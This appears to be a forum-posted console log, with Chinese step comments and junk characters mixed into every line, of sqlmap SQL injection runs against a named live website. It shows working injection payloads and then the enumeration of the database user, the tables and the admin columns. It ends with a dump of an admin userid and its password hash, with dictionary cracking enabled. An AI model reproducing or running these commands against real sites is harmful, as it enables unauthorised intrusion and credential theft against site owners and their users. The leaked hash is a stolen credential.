D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db- v: {* V& H, ]5 Z2 l
ms "Mysql" --current-user /* 注解:获取当前用户名称
) y) O. d/ W* Y( [5 @ sqlmap/0.9 - automatic SQL injection and database takeover tool. `9 \: T) J8 D) A# ?& u) q: R! g
http://sqlmap.sourceforge.net starting at: 16:53:54
, j% q( V5 V# j$ _. T# f[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
, E! B: o: u9 S9 r5 ]( _& S session file! S/ |5 P1 g4 k4 ~" @) g
[16:53:54] [INFO] resuming injection data from session file
7 `' y% L7 {+ g" C0 X[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
" b4 o) r& \+ u+ ?: E% T[16:53:54] [INFO] testing connection to the target url
, H# t8 g+ ?# rsqlmap identified the following injection points with a total of 0 HTTP(s) reque
$ ]4 T% |1 z/ e8 Ysts:3 |7 v# H* C7 T' E+ r% N! M
---
: T% `/ h% r( _' |8 B) i% xPlace: GET; y; a7 v/ e. d- z
Parameter: id
) Y" C# `' F# z* }4 X& L3 A. S Type: boolean-based blind4 o# F; I5 q; s7 a9 S
Title: AND boolean-based blind - WHERE or HAVING clause# A! j: P- S& A' R3 r- s) n. T
Payload: id=276 AND 799=799; [ a. B/ y' O
Type: error-based
& W5 t, b) \- K, l) { Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
8 Z2 v+ B8 ?0 | j Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
9 B4 Y: l( K: |$ U9 ^* L1 _120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58% ]1 V6 N3 h% u+ o- d2 s
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
$ s$ t/ g. ?1 X k Type: UNION query+ ~5 i" p+ G+ t
Title: MySQL UNION query (NULL) - 1 to 10 columns6 V- x- i5 r) ~ O( t
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR5 P. Q% m; H( S7 U+ l7 U
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
# Z9 s6 y+ h1 j$ p+ bCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#5 B' ]; @5 K; U4 g3 M
Type: AND/OR time-based blind
G( @: t0 q" q* L& Y" J& _ Title: MySQL > 5.0.11 AND time-based blind
- u! X5 w9 B7 x" h$ I Payload: id=276 AND SLEEP(5)* E! }* [! p9 x' s
---
& ^& o) R `. Y[16:53:55] [INFO] the back-end DBMS is MySQL
$ n2 _! P/ A' p wweb server operating system: Windows
2 V3 l/ t$ J# O3 S7 B `6 Qweb application technology: Apache 2.2.11, PHP 5.3.0
: m9 _: N% `. S( b" [back-end DBMS: MySQL 5.0
5 J1 d. k; C' d! ~' N[16:53:55] [INFO] fetching current user
- C; X3 G, ^5 ~$ W b+ `' fcurrent user: 'root@localhost' " m3 |7 j) G$ c; h+ L7 `, m7 N2 B, k% t
[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
& ~: d" _6 K' e3 N6 h8 n+ s3 Gtput\www.wepost.com.hk' shutting down at: 16:53:58* Z4 ~( Y' l/ k
/ ^8 h) ~! \/ s+ g0 U& d
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
1 } E }. V4 k3 J' N0 Lms "Mysql" --current-db /*当前数据库! k: U; Y5 i7 q d
sqlmap/0.9 - automatic SQL injection and database takeover tool
+ E, |3 V/ I' M# D http://sqlmap.sourceforge.net starting at: 16:54:16" ~3 R9 x a- b+ w, A
[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as7 |& Y+ F1 k3 E$ f
session file
# ^3 |" T' z7 L$ H9 A[16:54:16] [INFO] resuming injection data from session file
( L! M7 S5 F- b) V( x[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file# g" \; w: ]% A6 C0 V4 P) l) F4 S
[16:54:16] [INFO] testing connection to the target url# {9 {! u5 o4 ?0 N: \3 X" z
sqlmap identified the following injection points with a total of 0 HTTP(s) reque) P0 K2 n6 u# _' X c# C
sts:
5 g' ?8 V) A+ J---% R6 c5 s: ~' s4 D: J& h
Place: GET+ Z' v6 x! I; w: k/ f8 f* l
Parameter: id `7 c0 x& x% V1 L! r; o
Type: boolean-based blind2 D, D5 a* N! x9 a G% f
Title: AND boolean-based blind - WHERE or HAVING clause
$ q& v5 ^4 w" _& z Payload: id=276 AND 799=799$ M) E3 p* g8 l- \: v8 m i
Type: error-based
' r# n8 z! A2 O6 M2 ] Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause" u% R8 H9 b" U1 M, N
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,- n" x! m; U$ \; k
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
5 }" n$ G Q8 o, B0 A),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
2 G S$ ]3 O( w1 G* H+ Y Type: UNION query
4 ~) x- `; Q# n2 g+ ]* }9 z4 r Title: MySQL UNION query (NULL) - 1 to 10 columns
/ \+ A S0 k# B* X) c8 E5 e, V Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
4 T! M. v( f0 m8 m(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
$ m! o) b4 B* M2 o* Z7 BCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#! C# g* k* I H
Type: AND/OR time-based blind
) Q% `. k* [+ s) o% }$ x! ? Title: MySQL > 5.0.11 AND time-based blind
' T& a$ @ y+ t. S' b E7 } Payload: id=276 AND SLEEP(5)0 d }5 E! y& K0 c! [
---( v% A$ ]+ h/ p4 y/ D
[16:54:17] [INFO] the back-end DBMS is MySQL
8 P& N* Q! R8 f5 S8 P" fweb server operating system: Windows
; o& N: P( G8 V, E% f. h- rweb application technology: Apache 2.2.11, PHP 5.3.0+ V5 _& b9 T4 Q( L
back-end DBMS: MySQL 5.0. m& N* P, |( c& o! ~" O
[16:54:17] [INFO] fetching current database
, f9 c' s8 r$ u6 K! g* Bcurrent database: 'wepost'4 l! V: q/ X( a7 k
[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou8 q( ?; s5 r9 `0 X
tput\www.wepost.com.hk' shutting down at: 16:54:187 b3 N Q$ C- c2 u' i; y u
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db0 j. f+ h3 q; |
ms "Mysql" --tables -D "wepost" /*获取当前数据库的表名* l' w" h% x! G% v0 K' b1 s$ H$ D
sqlmap/0.9 - automatic SQL injection and database takeover tool
+ R! }7 ^. y" n5 ^8 o" d% a# i/ ] http://sqlmap.sourceforge.net starting at: 16:55:25
. m3 Q9 x: L6 ?% V1 o! k[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as1 k* L6 P1 [* i; K7 |" i
session file% x/ D7 s) q3 r, ~7 z
[16:55:25] [INFO] resuming injection data from session file
! x* `7 x' v$ S& K- R. E[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file/ s, p: X5 \2 b7 z
[16:55:25] [INFO] testing connection to the target url
% J2 F- T7 Y4 r( T5 {; Jsqlmap identified the following injection points with a total of 0 HTTP(s) reque
& w/ M+ G# d; h8 b! S" z# Gsts:
- y$ ?$ A7 d% E' i- U2 r" N0 h3 {* K---' m9 p& o5 ~) p1 W' G, k2 o6 C
Place: GET/ H" W* N) x) M- z2 B% z
Parameter: id. _: P& D- {& \& e2 { ~
Type: boolean-based blind) D5 n% \8 K1 l# S5 M
Title: AND boolean-based blind - WHERE or HAVING clause
5 s% X3 S$ v! g! B) d Payload: id=276 AND 799=799
3 P- n: M- Y9 {, ^7 `- K' n% z& v Type: error-based1 P6 e* `. N- b" B7 o( Q
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
* K6 D7 ^0 J& e. B- O( r Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
. r8 ? S' m1 X( E8 V* ?1 S) W) |120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
; x: a3 D) x! Y9 r, @' Q),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)% T# E2 `$ |; a$ g- ^
Type: UNION query
' z6 w! U0 S8 `) L. V3 h+ a& {/ { Title: MySQL UNION query (NULL) - 1 to 10 columns
5 T/ t. U" O2 L8 m; b W Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
2 S- |0 Z" f5 n( a) ]3 a5 u(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
! t, s1 _/ |6 M- W# }/ x0 qCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
+ }9 u' }' ?) [/ O3 d7 ~9 s Type: AND/OR time-based blind8 p* Y/ [- Y3 c- K
Title: MySQL > 5.0.11 AND time-based blind3 _: Q$ r0 m/ s# v6 g. e' }3 @3 g
Payload: id=276 AND SLEEP(5)
1 n& L8 A& d* }, A8 e( \---! b8 z) `2 k9 M$ f/ e2 F0 r4 n. C. T
[16:55:26] [INFO] the back-end DBMS is MySQL
2 {: C/ R1 M# o- _( `# h7 Xweb server operating system: Windows" L g9 Z Z6 A) f
web application technology: Apache 2.2.11, PHP 5.3.0
* `4 B8 Q( W2 h7 k2 ]back-end DBMS: MySQL 5.02 A$ k. N6 F4 b1 V9 a
[16:55:26] [INFO] fetching tables for database 'wepost'
! w: o6 G& R0 _5 r, _# k# n# B[16:55:27] [INFO] the SQL query used returns 6 entries
9 F+ U3 e' D6 V0 ~" }+ A" {Database: wepost: k \" x# g, p# { f
[6 tables]# W9 K: V6 B6 U5 w
+-------------+
! Q K2 ]7 Z9 W. a* O) b8 g k! U8 @| admin |9 [; g6 [& I9 E- u7 z' a, b
| article |$ c* U2 Y; i* T
| contributor |
& s8 V5 R8 n d3 D, x| idea |8 ?( q; k2 r! _0 X
| image |
0 @, U' Z2 I& e| issue |5 `: r' d0 h. A( z
+-------------+; a2 K# O3 C, _0 u
[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
! b3 [8 U8 Z) X9 w! Itput\www.wepost.com.hk' shutting down at: 16:55:33) N- v* G9 e( ^- `! L; U7 y( d1 b
* K) y1 X! |' \; bD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
% t& k4 [. A% |ms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名0 y( i$ @4 o5 q$ | x
sqlmap/0.9 - automatic SQL injection and database takeover tool0 \" u$ Z4 W( {. {' o
http://sqlmap.sourceforge.net starting at: 16:56:06& o5 C3 S: Y4 z# I- k$ D
sqlmap identified the following injection points with a total of 0 HTTP(s) reque( U/ l9 V! C7 C6 m9 C& I
sts:3 {3 R6 Z& \4 T8 x7 ?1 M1 S3 Q
---7 K7 l1 i; q$ H) z
Place: GET# ~3 W& }* Z' g4 z/ P
Parameter: id( g" e3 A* `0 n& V+ U( k
Type: boolean-based blind% D: G# a7 X- Q+ L! E
Title: AND boolean-based blind - WHERE or HAVING clause
, {: G" a/ N7 P" b' F Payload: id=276 AND 799=799
! H" G$ v( O7 T7 G2 U7 ~ \6 } Type: error-based0 l8 G; W6 a. k% G R% E9 Y
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
' k. z9 l' y: c, C M4 z1 q Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,' F& K" ?, ]5 Q2 k
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
2 A, {8 r) c) h) n),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)' [2 X2 }. c. z9 M g. `. s/ {
Type: UNION query
$ U0 n% n% p* L4 U Title: MySQL UNION query (NULL) - 1 to 10 columns) {* j1 e: |: I+ N
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
7 O% \- B* H4 P& g(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
+ E( ^) k- b- H7 g2 K* D! R3 cCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#; A7 i, S1 A+ `& D
Type: AND/OR time-based blind
$ @: @4 ^) y- y! j p5 U Title: MySQL > 5.0.11 AND time-based blind7 [; Z4 L# Z! D; H' K) q
Payload: id=276 AND SLEEP(5)2 i/ }% U$ p) B& @: v h, H4 Y' t
---
# {( `' [9 f* s! S( G2 T( ]3 gweb server operating system: Windows+ ?' _7 m, |, e4 g1 Y+ F7 M
web application technology: Apache 2.2.11, PHP 5.3.0
6 H/ H/ t! _& `1 wback-end DBMS: MySQL 5.0) }( ?2 w4 P: ^6 m& K% L) _" w
[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se0 j& e! }8 x3 c3 v, R) p
ssion': wepost, wepost
A9 } Y& V1 Y2 w: iDatabase: wepost" S- g. Z2 b3 Z: t g; W$ J
Table: admin
& g. ?5 B1 F4 ?. |+ V6 N4 ?, V+ l[4 columns]- U5 S& D8 j" v5 W5 h
+----------+-------------+' ^% ~. H4 \7 D) q3 V
| Column | Type |
" R6 ]; ^% T! V, y! [7 u+----------+-------------+
& y& U. Y. }2 E| id | int(11) |1 t# ^# T4 b" r
| password | varchar(32) |2 q$ R9 \! f6 n4 Y4 y
| type | varchar(10) | }7 n, U) a( j+ _- @
| userid | varchar(20) |7 ], v4 Y; t$ O3 q, B6 N! u
+----------+-------------+
* G( K4 S' s m5 { shutting down at: 16:56:194 M' O) d- a$ o) B) V6 l6 i% U
- V1 E. I R( V. t# G) z* m2 V6 wD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
* @ i; d9 Y4 q6 ~2 m3 o5 {* dms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容0 D& K! u" C( i* l: ~# N
sqlmap/0.9 - automatic SQL injection and database takeover tool
, k s) |7 y' l7 T http://sqlmap.sourceforge.net starting at: 16:57:14
3 h9 p5 ^$ e3 ]* A5 Msqlmap identified the following injection points with a total of 0 HTTP(s) reque
1 x9 |# E+ J1 L& d z+ vsts:
8 p) h& A# J. u$ k4 l---
8 r/ f, f' b; Y! UPlace: GET3 x0 `& E8 N! x$ M2 Q0 D. w
Parameter: id2 }. c N; M: G- H0 a) [
Type: boolean-based blind
" u) M2 C/ d. w! {) w' F F Title: AND boolean-based blind - WHERE or HAVING clause
- D: h2 i2 t! @7 i Payload: id=276 AND 799=799
: Y- _( \1 d7 Q* k( P Type: error-based
$ {4 Y x! E5 m# E: l2 D% z/ r0 n; d6 M Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
7 f2 T$ h$ C! v( q+ t y Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
7 `( _9 @8 k+ F5 X5 [; N: q1 |120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,589 ], H% D, X4 i3 C7 w9 x
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
1 Z; j6 ^- {6 F+ M Type: UNION query8 A0 I( u- g4 P4 D0 u# L* d
Title: MySQL UNION query (NULL) - 1 to 10 columns
3 H; f$ D8 k$ I! t$ l Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR- e9 q0 N1 W w" T: E- w0 F
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR)," @9 e; y7 ~- Z( |0 Y) \( u5 x
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL# e4 Y8 n9 ~2 G& J4 Z
Type: AND/OR time-based blind% V8 O2 n0 s L$ e7 ]) T& {3 L+ O
Title: MySQL > 5.0.11 AND time-based blind
% V" j+ G9 `( m- E0 v6 o Payload: id=276 AND SLEEP(5)$ v. y4 B2 i8 g* l, G" M! h
---5 N! _; q( v H! Q$ s
web server operating system: Windows
|' c H: ?2 @8 J0 b" Xweb application technology: Apache 2.2.11, PHP 5.3.0
: o" ~3 A, K5 ?$ g/ Q. C: Sback-end DBMS: MySQL 5.0' q$ g" A$ E, }/ |
recognized possible password hash values. do you want to use dictionary attack o
: B4 R8 h9 ~9 ]+ S3 Q% T dn retrieved table items? [Y/n/q] y" Q5 T9 v) u6 ^; r8 i$ N
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
6 E% m( e$ e- hdo you want to use common password suffixes? (slow!) [y/N] y
. j" c2 C& U# V0 B5 J7 X8 r* m. R, r) PDatabase: wepost2 w1 n5 v$ A% A
Table: admin" ~9 n5 n: ~" R5 x Q$ O
[1 entry]
1 G( k, J3 {, D; d3 j0 ~+ w6 h+----------------------------------+------------+
7 W. O& V1 o" ~ }- a8 `2 B! D| password | userid |
4 K* z5 G3 g) b' M" ]+----------------------------------+------------+; _% I9 n7 L; a7 p1 g1 u3 U2 k
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
0 A0 K3 r( L9 D& C J9 S: r+ G+----------------------------------+------------+
0 Q, e- y, \) R2 Q9 a0 i shutting down at: 16:58:146 l1 l) y0 D9 ], R5 p
K( s& m0 ~* k) }% D
D:\Python27\sqlmap> |